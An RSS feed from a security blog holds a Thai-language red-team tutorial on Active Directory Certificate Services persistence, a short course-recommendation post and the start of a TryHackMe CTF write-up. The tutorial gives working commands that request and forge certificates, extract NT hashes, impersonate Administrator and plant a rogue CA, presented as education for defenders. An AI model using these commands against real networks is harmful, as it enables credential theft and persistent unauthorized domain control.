<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by o on Medium]]></title>
        <description><![CDATA[Stories by o on Medium]]></description>
        <link>https://medium.com/@iriomote?source=rss-6b8340efe19f------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/2*uDPIhj5etw5V2h_8Q7ztQQ.jpeg</url>
            <title>Stories by o on Medium</title>
            <link>https://medium.com/@iriomote?source=rss-6b8340efe19f------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 29 Nov 2026 00:12:18 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@iriomote/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Persistence with Active Directory Certificate Services (AD CS)]]></title>
            <link>https://medium.com/incognitolab/persistence-with-active-directory-certificate-services-ad-cs-0af1916efb9e?source=rss-6b8340efe19f------2</link>
            <guid isPermaLink="false">https://medium.com/p/0af1916efb9e</guid>
            <category><![CDATA[adcs-attacks]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[active-directory]]></category>
            <dc:creator><![CDATA[o]]></dc:creator>
            <pubDate>Fri, 20 Feb 2026 06:45:49 GMT</pubDate>
            <atom:updated>2026-02-20T06:45:49.097Z</atom:updated>
            <content:encoded><![CDATA[<p>จากบทความ Introduction to Active Directory Certificate Services (AD CS) ก่อนหน้าที่เราเล่าถึงองค์ประกอบต่าง ๆ ของ AD CS ไปแล้ว ในบทความนี้จะเป็นภาคต่อเราจะพูดถึงเทคนิคที่ผู้โจมตีใช้ในการฝังตัวอยู่ในระบบ (persistence) ด้วย AD CS กันครับ</p><h4>Persistence คืออะไร</h4><p>Persistence เป็นเทคนิคที่ผู้โจมตีใช้เพื่อให้สามารถเข้าถึงระบบหรือเครือข่ายที่โจมตีได้สำเร็จแล้วอย่างต่อเนื่อง ถึงแม้ว่าเครื่องเป้าหมายจะถูก restart เครื่อง, เปลี่ยนรหัสผ่าน, ช่องโหว่ที่ถูกใช้ในการโจมตีเข้ามาได้รับการแก้ไขไปแล้วก็ตาม</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*Hf4vRJww0O6QNok3aGK7og.png" /><figcaption>Meme from SpecterOps’s “Certified Pre-Owned: Abusing Active Directory Certificate Services”</figcaption></figure><h3>Account Persistence</h3><h4>Active User Credential Theft via Certificates — PERSIST1</h4><p>เทคนิคนี้เป็นการที่เราใช้ user ที่ต้องการทำ persistence ขอ request certificate ใหม่ด้วย template ที่ตัวเองมีสิทธิ์ หรือ ขโมย certificate ที่เคยมีการขอเอาไว้อยู่แล้ว โดย template ที่ใช้จะต้องอนุญาตให้นำ certificate ไปทำการ authenticate กับ AD เป็น user นั้น ๆ ได้ ดังนั้น requirements ของ template จึงมีดังนี้</p><ol><li>Template ถูก publish ให้สามารถ enroll ได้</li><li>Template อนุญาตให้ domain users หรือ group ที่ user เป้าหมายเป็น member อยู่ สามารถ enroll ได้</li><li>ไม่ต้องรอ manager approve</li><li>มีการระบุ Extended Key Usage (EKU) ให้นำ certificate ที่ได้ไปใช้ authenticate กับ AD ได้อย่างน้อย 1 รายการในตารางนี้</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7KY6_bVIIIUyuXrTNpq9CA.png" /><figcaption>EKUs that enable domain authentication from SpecterOps’s whitepaper</figcaption></figure><p>เทคนิคนี้จะทำให้ attacker สามารถเข้าถึง user ที่ใช้ขอ certificate ได้ตามระยะเวลาของ certificate (โดยปกติแล้วคือ 1 ปี)</p><p>ใช้ tool <a href="https://github.com/GhostPack/Certify">Certify</a> ค้นหา certificate template ที่สามารถนำไปใช้ทำ client authentication ได้</p><pre>PS&gt; Certify.exe find /clientauth</pre><p>โดยปกติแล้ว หากมีการใช้งาน AD CS ตั้งค่าแบบ default จะมี template ชื่อว่า User ซึ่งตรงกับ requirements ของเทคนิคนี้</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6o_F5vfTc9mCERY0j-OW7Q.png" /><figcaption>“User” certificate template details from Certify</figcaption></figure><p>เราสามารถใช้ Certify ในการขอ certificate ได้ โดยระบุ CA หรือ Certificate Authority และ ชื่อ template ซึ่ง tool จะใช้สิทธิ์ของ user ปัจจุบันที่ logon อยู่ในการขอ</p><pre>PS&gt; Certify.exe request /ca:DC01\demo-DC01-CA /template:User</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BWhbHmS007thNE3m2segWg.png" /><figcaption>Request a certificate using the “User” template with Certify</figcaption></figure><p>หากสำเร็จจะได้รับ certificate และ private key ใน format <strong>.pem</strong> ซึ่งเราสามารถ convert ให้เป็น format <strong>.pfx</strong> เพื่อให้สามารถนำไปใช้ต่อได้ด้วย openssl</p><pre>openssl pkcs12 -in asmith.pem -keyex -CSP &quot;Microsoft Enhanced Cryptographic Provider v1.0&quot; -export -out asmith.pfx</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sEcioV_HE_ozDbx8RZ-yhw.png" /><figcaption>Convert the requested certificate and its private key to pfx format</figcaption></figure><p><strong>การนำ certificate ไปใช้งาน</strong></p><p>ไฟล์ <strong>.pfx</strong> นี้สามารถนำไปใช้กับ tool <a href="https://github.com/GhostPack/Rubeus">Rubeus</a> บนเครื่องเป้าหมายเพื่อใช้ขอ Ticket Granting Ticket (TGT) ของ user ได้ หากระบุ option /getcredentials เพิ่ม จะเป็นการใช้เทคนิค UnPAC the hash เพื่อดึงค่า LM / NT hash ของผู้ใช้</p><pre>bash$ Rubeus.exe asktgt /user:asmith /certificate:asmith.pfx /getcredentials</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SgwSMPGlD8fwgnDlRLu7KQ.png" /><figcaption>Authenticate to AD with the certificate (“User” template)</figcaption></figure><p>NT hash ที่ได้มาก็สามารถนำไป pass-the-hash ได้เลย ถึงแม้ว่า user จะเปลี่ยนรหัสไปแล้วแต่ถ้า certificate ยัง valid อยู่ เราก็ยังสามารถดึง hash รหัสผ่านใหม่ออกมาได้</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mxTi1Cl6tqAUc095fdZy_A.png" /><figcaption>PTH to the DC</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*oEQ_SMdG-nKmaX_kSMPuAg.jpeg" /></figure><p>ถ้าไปดูที่ Issued Certificates ใน (certsrv.msc) จะเห็นว่ามี certificate ของเราขึ้นมา</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*P4HT0aSeN571vBXk-xK7zg.png" /><figcaption>Issued Certificates in certsrv.msc</figcaption></figure><h4>Machine Persistence with Certificates — PERSIST2</h4><p>อีกเทคนิคหนึ่ง ถ้าเรายึดเครื่องได้เป็นสิทธิ์ SYSTEM แล้ว เราจะสามารถใช้ machine account ขอออก certificate โดยใช้ default template Machine ซึ่งให้สิทธิ์ groupDomain Computersสามารถ enroll ได้</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ejNMrBNgihS0mn_3hpCgvQ.png" /><figcaption>“Machine” certificate template details from Certify</figcaption></figure><p>เราใช้ Certify ขอออก certificate ได้เหมือนเดิมแต่เพิ่ม option /machine เพื่อเป็นการสั่งให้ยกระดับสิทธิ์เป็น SYSTEM ซึ่งฝั่ง CA server จะเห็นว่าเป็น machine account เป็น user ที่ request มา</p><pre>bash$ Certify.exe request /ca:DC01\demo-DC01-CA /template:Machine /machine</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3BXs5j-b3h001oMGBAr9vQ.png" /></figure><p><strong>การนำ certificate ไปใช้งาน</strong></p><p>Certificate ที่ได้มา นำไป convert ด้วย openssl และ authenticate ด้วย Rubeus ได้เหมือนกับ template User ในเทคนิคแรก</p><pre># Convert เป็น .pfx ด้วย openssl<br>bash$ openssl pkcs12 -in WORKSTATION01.pem -keyex -CSP &quot;Microsoft Enhanced Cryptographic Provider v1.0&quot; -export -out WORKSTATION01.pfx<br># Authenticate ไปยัง domain controller<br>PS&gt; Rubeus.exe asktgt /user:WORKSTATION01$ /certificate:WORKSTATION01.pfx /getcredentials</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*E4PP57ppiVNmo0e7MWVWNA.png" /></figure><p>เราสามารถได้ persistence สำหรับ computer ด้วยวิธีการต่าง ๆ เช่น</p><ul><li>ใช้ TGT กับ <strong>S4U2Self</strong> ซึ่งเป็น Kerberos extension สำหรับขอ Service Ticket ในนามของ user ใดก็ได้ สำหรับ service ใด ๆ ในเครื่อง</li><li>ใช้ NT hash Pass-the-Hash ด้วย <a href="https://github.com/fortra/impacket/blob/master/examples/rbcd.py">Impacket rbcd.py</a> ไปแก้ค่า attribute msDS-AllowedToActOnBehalfOfOtherIdentity ของ machine account ตัวเอง ทำให้สามารถตั้งค่า Resource-Based Constrained Delegation (RBCD) ได้</li><li>ใช้ NT hash forge Silver Ticket ด้วย <a href="https://github.com/fortra/impacket/blob/master/examples/ticketer.py">Impacket ticketer.py</a> โดย impersonate เป็น user ใดก็ได้</li></ul><p>ในบทความนี้จะใช้เทคนิค S4U2Self ขอ Service Ticket โดยระบุ Service Principal Name (SPN) เป็น CIFS (Common Internet File System), impersonate เป็น user Administrator ซึ่งอยู่ใน group Domain Admins เพื่อใช้เข้า file share และ ทำ command execution ด้วย PsExec</p><p>เราสามารถใช้ Rubeus ได้ตามคำสั่งด้านล่าง โดยที่ระบุ TGT ที่ได้จากการ authenticate ไปยัง domain controller ในภาพก่อนหน้า ที่ option /ticket</p><pre>PS&gt; Rubeus.exe s4u /self /nowrap /impersonateuser:&quot;Administrator&quot; /altservice:&quot;cifs/workstation01.demo.local&quot; /ticket:&quot;base64 encoded TGT&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2rbliMRRVQJDLdAO4vjjOg.png" /></figure><p>ถัดมาเราเอา service ticket ที่ได้ไปใช้ต่อ</p><ul><li>เชื่อมต่อไปยัง file share ด้วย <a href="https://github.com/fortra/impacket/blob/master/examples/smbclient.py">Impacket smbclient.py</a></li></ul><pre># Decode Service Ticket จาก Rubeus<br>bash$ echo -n &quot;base64 encoded Service Ticket&quot; | base64 -d &gt; workstation01.kirbi<br># Convert ticket เป็น ccache format<br>bash$ impacket-ticketConverter workstation01.kirbi workstation01.ccache<br># Reference ไฟล์ ccache ใน environment variable KRB5CCNAME<br>bash$ export KRB5CCNAME=workstation01.ccache<br><br># เชื่อมต่อไปยัง file share โดยใช้ Kerberos authentication<br>bash$ impacket-smbclient -k -no-pass demo.local/Administrator@workstation01.demo.local</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/893/1*Ts_XEWswCGAAXEbJeBlNGw.png" /></figure><ul><li>Execute command ด้วย <a href="https://github.com/fortra/impacket/blob/master/examples/psexec.py">Impacket psexec.py</a></li></ul><pre>bash$ impacket-psexec -k -no-pass demo.local/Administrator@workstation01.demo.local</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QK_a0F9vUCP68rWtP0XgUg.png" /></figure><p>ดูที่ Issued Certificates จะเห็นว่า Requester Name เป็น machine account</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GVyPyk79rSZyP89gnKT7wA.png" /></figure><h4>Extending Persistence Through Certificate Renewal — PERSIST3</h4><p>Certificate template จะมีอายุระบุเอาไว้ว่า certificate ที่ออกมาสามารถนำไปใช้ได้นานแค่ไหน (Validity Period) และ ช่วงเวลาก่อนที่จะหมดอายุที่ user สามารถขอ renew certificate ใหม่ได้ (Renewal Period)</p><p>ในกรณีที่มี certificate อยู่แล้ว เราสามารถขอ renew ก่อนที่จะหมดอายุเพื่อต่ออายุ maintain access ต่อไปได้โดยไม่ต้อง enroll ใหม่ tool <a href="https://github.com/ly4k/Certipy">Certipy</a> มี option ระบุให้ renew certificate ได้คือ -renew</p><pre>bash$ certipy-ad req -ca demo-DC01-CA -username WORKSTATION01$ -hashes :BF0B65F91569500933C2112F80976DB2 -target dc01 -pfx workstation01.pfx -template Machine -renew</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xoEsXKcigbBlOgXvyvQQEQ.png" /></figure><p>ดูที่ Issued Certificates เห็นว่ามีทั้ง certificate เก่าที่ยังคงอยู่ และ certificate ใหม่ขึ้นมาด้วย</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*z-r-a_9aUiZOf_c7cQP56g.png" /></figure><h3>Domain Persistence</h3><h4>Forging Certificates with Stolen CA Certificates — DPERSIST1</h4><p>คล้ายกับเทคนิค Golden Ticket ของ Benjamin Delpy ที่ใช้ hash ของ KRBTGT ในการ forge Kerberos ticket (มีพูดถึงในบทความ <a href="https://medium.com/incognitolab/domain-controller-post-exploitation-98c9fe525417">Domain Controller Post-exploitation</a> สามารถเข้าไปอ่านเพิ่มเติมได้) แต่สำหรับ AD CS จะเป็นการ forge certificate โดยใช้ CA private key ที่ขโมยออกมา บางคนอาจจะเรียกท่านี้ว่า <strong>Golden Certificate</strong></p><p>วิธีการคือเราใช้ account ที่มีสิทธิ์ไป export CA certificate และ private key ออกมาจาก CA server (ซึ่งโดยปกติแล้วจะมีอายุ 5 ถึง 10 ปี) โดยเราสามารถใช้ Certify ค้นหา CA certificate ได้</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4TsWaLiC-lgx3VMYseI1LA.png" /></figure><p>Private Key และ CA certificate สามารถ backup ออกมาผ่าน certsrv.msc ได้เลย</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*h_pz_U3ioba-hyvpYB1MaQ.png" /></figure><p>ใช้ Certipy forge certificate ขึ้นมา ด้วย CA ที่ export ออกมา ในตัวอย่างนี้ระบุ user เป็น Administrator</p><pre>bash$ certipy-ad forge -ca-pfx demo-DC01-CA.pfx -upn administrator@demo.local -subject &#39;CN=Administrator,CN=Users,DC=DEMO,DC=LOCAL&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*muEbAV_xY0Z29_mw62KZLQ.png" /></figure><p><strong>การนำ certificate ไปใช้งาน</strong></p><p>เราสามารถใช้ Certipy นำ certificate ไป authenticate ได้เหมือนกัน โดยจะได้ hash ของ user ออกมา</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5mIt_ssVv5njCCTRU-yZxQ.png" /></figure><p>CA จะไม่สามารถ revoke certificate ที่ถูก forge ขึ้นมาได้เพราะตอนที่ forge ขึ้นมาไม่ต้องมีการส่ง request ไปยัง CA server เลย ถ้าเราดูที่ Issued Certificates จะเห็นว่าไม่มี certificate ของ Administrator ขึ้นมาถึงแม้ว่าจะใช้ authenticate ไปแล้วก็ตาม</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*klyC-YxrLf-xDfqu7kxMag.png" /></figure><h4>Trusting Rogue CA Certificates — DPERSIST2</h4><p>เราสามารถตั้งค่าให้ระบบ trust CA certificate อื่นได้ โดยสามารถกำหนดค่า attribute cacertificate ใน NTAuthCertificates object ให้ trust CA certificate มากกว่า 1 certificate เราสามารถ generate self-signed CA certificate ขึ้นมา และ เพิ่มเข้าไปใน attribute cacertificate ได้ในกรณีที่มีสิทธิ์แก้ไข object นี้ จากนั้นเราจะใช้ท่าเดียวกันกับ DPERSIST1 ในการ forge certificate ขึ้นมา แต่ในรอบนี้เราจะใช้ rogue CA ที่เรา generate ขึ้นมา</p><p>เราสามารถ generate private key และ CA certificate ขึ้นมาใหม่ด้วย openssl</p><pre># Generate private key<br>bash$ openssl genrsa -out myCA.key 2048<br># Generate certificate<br>bash$ openssl req -x509 -new -nodes -key myCA.key -sha256 -days 1825 -out myCA.crt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jCmTPo75VQrtRUNQAXIeaw.png" /></figure><p>จากนั้นใช้ <a href="https://learn.microsoft.com/en-us/troubleshoot/windows-server/certificates-and-public-key-infrastructure-pki/import-third-party-ca-to-enterprise-ntauth-store#method-2---import-a-certificate-by-using-certutilexe">Certutil</a> ตั้งค่าให้ระบบ trust CA certificate ที่เราเพิ่ง generate ขึ้นมา</p><pre># publishes the CA certificate to the Enterprise NTAuth store<br>PS&gt; certutil -dspublish -f myCA.crt NTAuthCA<br># adds the certificate to the NTAuth machine enterprise store<br>PS&gt; certutil -enterprise -addstore NTAuth myCA.crt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DhsK8L2Nwz8Owc8KWuVJIQ.png" /></figure><p>อีกวิธีที่สามารถทำได้คือใช้ PKIView (pkiview.msc) กด Add เพิ่ม แล้วจะขึ้น status เป็น Untrusted Root แต่สามารถ install ลง trusted CA ได้ทำให้ status เป็น OK</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tkSZ-iL9pyNfusqiZy2EhA.png" /></figure><p>ใช้ openssl convert certificate และ private key ให้เป็น format <strong>.pfx</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NoYHQmQXZWCHjFLH9fi31A.png" /></figure><p>โดยปกติแล้วถ้ามีการใช้งาน certificate จาก CA ใหม่จะมีการเรียกหา Certification Revocation List (CRL) เราสามารถใช้ openssl สร้าง CRL ขึ้นมาได้ หลังจากทำเสร็จแล้วเรียบร้อยแล้วจะได้ไฟล์ออกมา ในตัวอย่างนี้เป็น root.crl จากนั้นนำไฟล์นี้ไป host ผ่าน http server อีกวิธีการหนึ่งคือตั้งค่าให้เครื่องเป้าหมายไม่ตรวจสอบ CRL</p><p>ใช้ Certipy forge certificate ขึ้นมาเหมือนกับใน DPERSIST1 แต่ครั้งนี้เพิ่ม option crl เป็น URL ไปยังไฟล์ root.crl</p><pre>bash$ certipy-ad forge -ca-pfx myCA.pfx -upn administrator@demo.local -subject &#39;CN=Administrator,CN=Users,DC=DEMO,DC=LOCAL&#39; -crl http://http-server/root.crl</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KcTDvypq9Nk5nj7uyAerCA.png" /></figure><p><strong>การนำ certificate ไปใช้งาน</strong></p><p>เราสามารถใช้ Certipy นำ certificate ไป authenticateโดยจะได้ hash ของ user ออกมาเช่นเดียวกัน จากในภาพด้านล่างจะเห็นว่ามีการเข้ามาเรียกไฟล์ CRL</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZhO-xrZr4LH1PZc8UpZ0vg.png" /></figure><p>ถ้าดูใน certsrv.msc จะเห็นว่าไม่มี certificate ของ Administrator และ ไม่มี CA ที่เรา generate ขึ้นมาใหม่ (myCA) ภายใต้ Certification Authority (Local) ขึ้นมาถึงแม้ว่าจะใช้ authenticate ไปแล้วก็ตาม</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3wnew4r2OLIcsduv0qCZAw.png" /></figure><h4>Malicious Misconfiguration — DPERSIST3</h4><p>เป็นเทคนิคที่ถ้ามีสิทธิ์ไปแก้การตั้งค่า, สิทธิ์การใช้งาน เช่น WriteOwner, WriteDACL ของ components ใน AD CS ที่สำคัญอย่าง</p><ul><li><strong>CA server’s AD computer</strong> object</li><li><strong>CA server’s RPC/DCOM server</strong></li><li><strong>Descendant AD object หรือ container</strong> ใน <strong>CN=Public Key Services,CN=Services,CN=Configuration,DC=&lt;DOMAIN&gt;,DC=&lt;LOCAL&gt;</strong> (เช่น Certificate Templates container, Certification Authorities container, NTAuthCertificates object)</li><li><strong>AD groups delegated rights to control AD CS</strong> (เช่น built-in Cert Publishers group)</li></ul><p>ท่านึงที่ทำได้คือเพิ่มสิทธิ์ให้ไปแก้ไข certificate template กับ user ที่เราเข้าถึงได้ ตัวอย่างด้านล่างให้สิทธิ์ Full Control ไปที่ User template กับ Alice Smith</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5OQH7S2fk8lDOTHvFDqXMg.png" /></figure><p>หลังจากนั้น ถ้าต้องการ escalate ก็สามารถไป set ค่า <strong>mspki-certificate-name-flag </strong>ให้เป็น 1 เพื่อเปิด ENROLLEE_SUPPLIES_SUBJECT (เทคนิค ESC1) ด้วยคำสั่งด้านล่าง</p><pre>PS&gt; Set-DomainObject -SearchBase &quot;CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=demo,DC=local&quot; -Identity User -XOR @{&#39;mspki-certificate-name-flag&#39;=1} -Verbose</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fKyKM_3ZuyMgFpRYrcxQtg.png" /></figure><p>สังเกตดูผลของ certify จะเห็นว่า หลังจากแก้ไขค่าด้วยคำสั่งด้านบนแล้ว template จะมีช่องโหว่ ESC1 ทำให้ escalate สิทธิ์ได้</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JtD_401_7ixBaXfhYytsDQ.png" /></figure><p>ในบทความนี้เราได้เห็นเทคนิคต่าง ๆ ในการทำ Persistence ด้วย Active Directory Certificate Services (AD CS) ตั้งแต่การขโมย และ ขอ certficate ใหม่เพื่อเข้าถึง user account หรือ domain ได้อย่างต่อเนื่อง การ forge certificate ด้วย CA ที่ถูกขโมยออกมา และ การตั้งค่า AD CS ให้เกิดช่องโหว่ เทคนิคเหล่านี้แสดงให้เห็นว่า AD CS สามารถเป็นช่องทางให้ผู้โจมตีเข้าถึงระบบอย่างต่อเนื่องแม้จะมีการป้องกันต่าง ๆ ดังนั้น การเข้าใจและป้องกันการใช้ AD CS ในทางที่ไม่ถูกต้องเป็นสิ่งสำคัญในการเสริมความปลอดภัยให้กับเครือข่ายและระบบขององค์กร</p><p>สำหรับวันนี้ขอบคุณทุกท่านที่สละเวลามาอ่านบทความนี้ ไว้พบกันใหม่ในตอนถัดไปครับ</p><p><strong>References:</strong></p><ul><li><a href="https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf">Certified Pre-Owned</a> by <a href="https://twitter.com/harmj0y">Will Schroeder</a> &amp; <a href="https://twitter.com/tifkin_">Lee Christensen</a></li><li><a href="https://github.com/ly4k/Certipy">https://github.com/ly4k/Certipy</a></li><li><a href="https://github.com/GhostPack/Rubeus">https://github.com/GhostPack/Rubeus</a></li><li><a href="https://github.com/fortra/impacket">https://github.com/fortra/impacket</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0af1916efb9e" width="1" height="1" alt=""><hr><p><a href="https://medium.com/incognitolab/persistence-with-active-directory-certificate-services-ad-cs-0af1916efb9e">Persistence with Active Directory Certificate Services (AD CS)</a> was originally published in <a href="https://medium.com/incognitolab">INCOGNITO LAB</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Cyber Skills Unleashed: Recommended Cybersecurity Learning]]></title>
            <link>https://medium.com/incognitolab/cyber-skills-unleashed-recommended-cybersecurity-learning-00bda77d1937?source=rss-6b8340efe19f------2</link>
            <guid isPermaLink="false">https://medium.com/p/00bda77d1937</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[cyber]]></category>
            <category><![CDATA[learning]]></category>
            <dc:creator><![CDATA[o]]></dc:creator>
            <pubDate>Fri, 15 Dec 2023 10:55:56 GMT</pubDate>
            <atom:updated>2024-01-17T09:43:58.874Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*0PbbyMO7LKxRexH5" /><figcaption>Photo by <a href="https://unsplash.com/@haky?utm_source=medium&amp;utm_medium=referral">Shamin Haky</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><h4>Introduction</h4><p>บทความนี้สำหรับผู้เริ่มต้นในสาย Cybersecurity เรามักได้รับคำถามว่าควรจะไปอ่านหรือเรียนรู้ด้าน Cybersecurity จากไหนดี วันนี้ขอมาแนะนำคอร์สเพื่อไปอัปสกิลกันครับ โดยหลักเกณฑ์สำคัญที่เลือกคอร์สเหล่านี้มาก็คือ “คุณภาพ” ต้องดี และ “ราคา” ต้องไม่แพง ทุกคนพอจะเข้าถึงได้ (แน่นอนว่ามีคอร์สแพง ๆ แต่นั่นไว้ตอนเราเทพก่อน)</p><h4>Selecting the Right Course</h4><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/1d503de6d8a8e1763540cd8b6c9fb064/href">https://medium.com/media/1d503de6d8a8e1763540cd8b6c9fb064/href</a></iframe><p>จากข้อมูลในตารางแนะนำว่า:</p><ol><li>ปูพื้นฐานด้วยคอร์ส Skooldio ก่อน เพื่อให้เข้าใจพื้นฐานด้าน security อีกทั้งเนื้อหายังเป็นภาษาไทย ผู้ที่เริ่มต้นสามารถเรียนรู้ได้ทันที</li><li>ในสาย Cybersecurity มีการแตกย่อยไปอีกหลายสาย ค้นหาตัวเองดูว่าเราสนใจเรื่องไหน ลองศึกษาเนื้อหาหัวข้อต่าง ๆ จาก Hack The Box Academy, TryHackMe</li><li>เลือกคอร์สที่เจาะลึกลงไปในหัวข้อที่สนใจต่อไป เช่น หากสนใจ Web Security ก็สามารถศึกษาได้จาก Web Security Academy ของ PortSwigger เป็นต้น</li></ol><p>แต่ละคนมีสไตล์การเรียนรู้ที่แตกต่างกันออกไป บางคนอาจชอบรูปแบบ text-based แต่หากได้ดู video อธิบาย ก็ช่วยให้เข้าใจเนื้อหาที่มีความซับซ้อนมากยิ่งขึ้นได้ พิจารณาคอร์สที่เหมาะกับสไตล์ของเรา ในขณะเดียวกันก็ควรที่จะลองรูปแบบอื่น ๆ ด้วย ในสาย Cybersecurity การมีประสบการณ์ hands-on เป็นประโยชน์อย่างมากในการทำงานจริง การเลือกคอร์ส หรือ platform ที่มี labs ด้วยก็ช่วยเพิ่มประสบการณ์ในส่วนนี้ได้เช่นกัน ในหลาย platform สามารถเข้าไปเรียนได้ฟรี หากชอบก็ค่อยพิจารณาซื้อ package ที่ต้องเสียเงินต่อไป</p><p>จะเห็นได้ว่าสิ่งหนึ่งที่เราหนีไม่พ้นคือเรื่องของภาษานะครับ ถ้าใครไม่ถนัดภาษาอังกฤษก็ควร take course เพิ่มหรือพยายามเยอะขึ้นหน่อยนะครับ เพราะสุดท้ายแล้วเราคงหนีไม่ได้ในเรื่องของภาษา เนื่องจากมันจะช่วยให้เราสามารถเข้าถึง resource ดี ๆ ได้มากขึ้น นอกจากเรื่องของภาษาแล้วพื้นฐานความรู้เพื่อนำไปต่อยอดก็สำคัญเช่นกัน ดังนั้นนี่จึงเป็นหนึ่งในเหตุผลที่เราทำคอร์สพื้นฐานภาษาไทยเพื่อให้มือใหม่สามารถเข้าถึงได้ง่าย</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=00bda77d1937" width="1" height="1" alt=""><hr><p><a href="https://medium.com/incognitolab/cyber-skills-unleashed-recommended-cybersecurity-learning-00bda77d1937">Cyber Skills Unleashed: Recommended Cybersecurity Learning</a> was originally published in <a href="https://medium.com/incognitolab">INCOGNITO LAB</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Year of the Jellyfish — TryHackMe]]></title>
            <link>https://iriomote.medium.com/year-of-the-jellyfish-tryhackme-929657b70df?source=rss-6b8340efe19f------2</link>
            <guid isPermaLink="false">https://medium.com/p/929657b70df</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[o]]></dc:creator>
            <pubDate>Tue, 04 May 2021 16:39:31 GMT</pubDate>
            <atom:updated>2021-05-04T17:13:33.318Z</atom:updated>
            <content:encoded><![CDATA[<h3>Year of the Jellyfish — TryHackMe</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/291/1*oGyu1l6J85xV9qeWes2-zg.png" /><figcaption>Some boxes sting…</figcaption></figure><h3>Summary</h3><p><a href="https://tryhackme.com/room/yearofthejellyfish">Year of the Jellyfish</a> is a room for the OSCP giveaway challenge, who complete the room by the 30th of April are entered into a raffle. The machine is a Linux machine. For user, the <em>Monitorr</em> web app has an RCE vulnerability but the exploit needs some edits to work. For root, the machine is vulnerable to <em>dirty_sock </em>due to a bug in the <em>snapd </em>API. This machine also comes with public IP address instead of an internal IP address(10.*.*.*).</p><h3><strong>Enumeration</strong></h3><p>Let’s start with an Nmap scan. There’re 8 ports open and the most interesting part is the SSL certificate of the web server on port 443 showing 4 virtual hosts. So I add these to the hosts file on my machine located at /etc/hosts<em>.</em></p><pre># Nmap 7.91 scan initiated Sat Apr 24 14:52:29 2021 as: nmap -p- -sCV -v -oN nmap/full 34.241.178.117<br>Host is up (0.12s latency).</pre><pre>PORT      STATE SERVICE  VERSION<br><em>21/tcp</em>    open  ftp      vsftpd 3.0.3<br><em>22/tcp</em>    open  ssh      OpenSSH 5.9p1 Debian 5ubuntu1.4 (Ubuntu Linux; protocol 2.0)<br><em>25/tcp</em>    open  smtp?<br>|_smtp-commands: 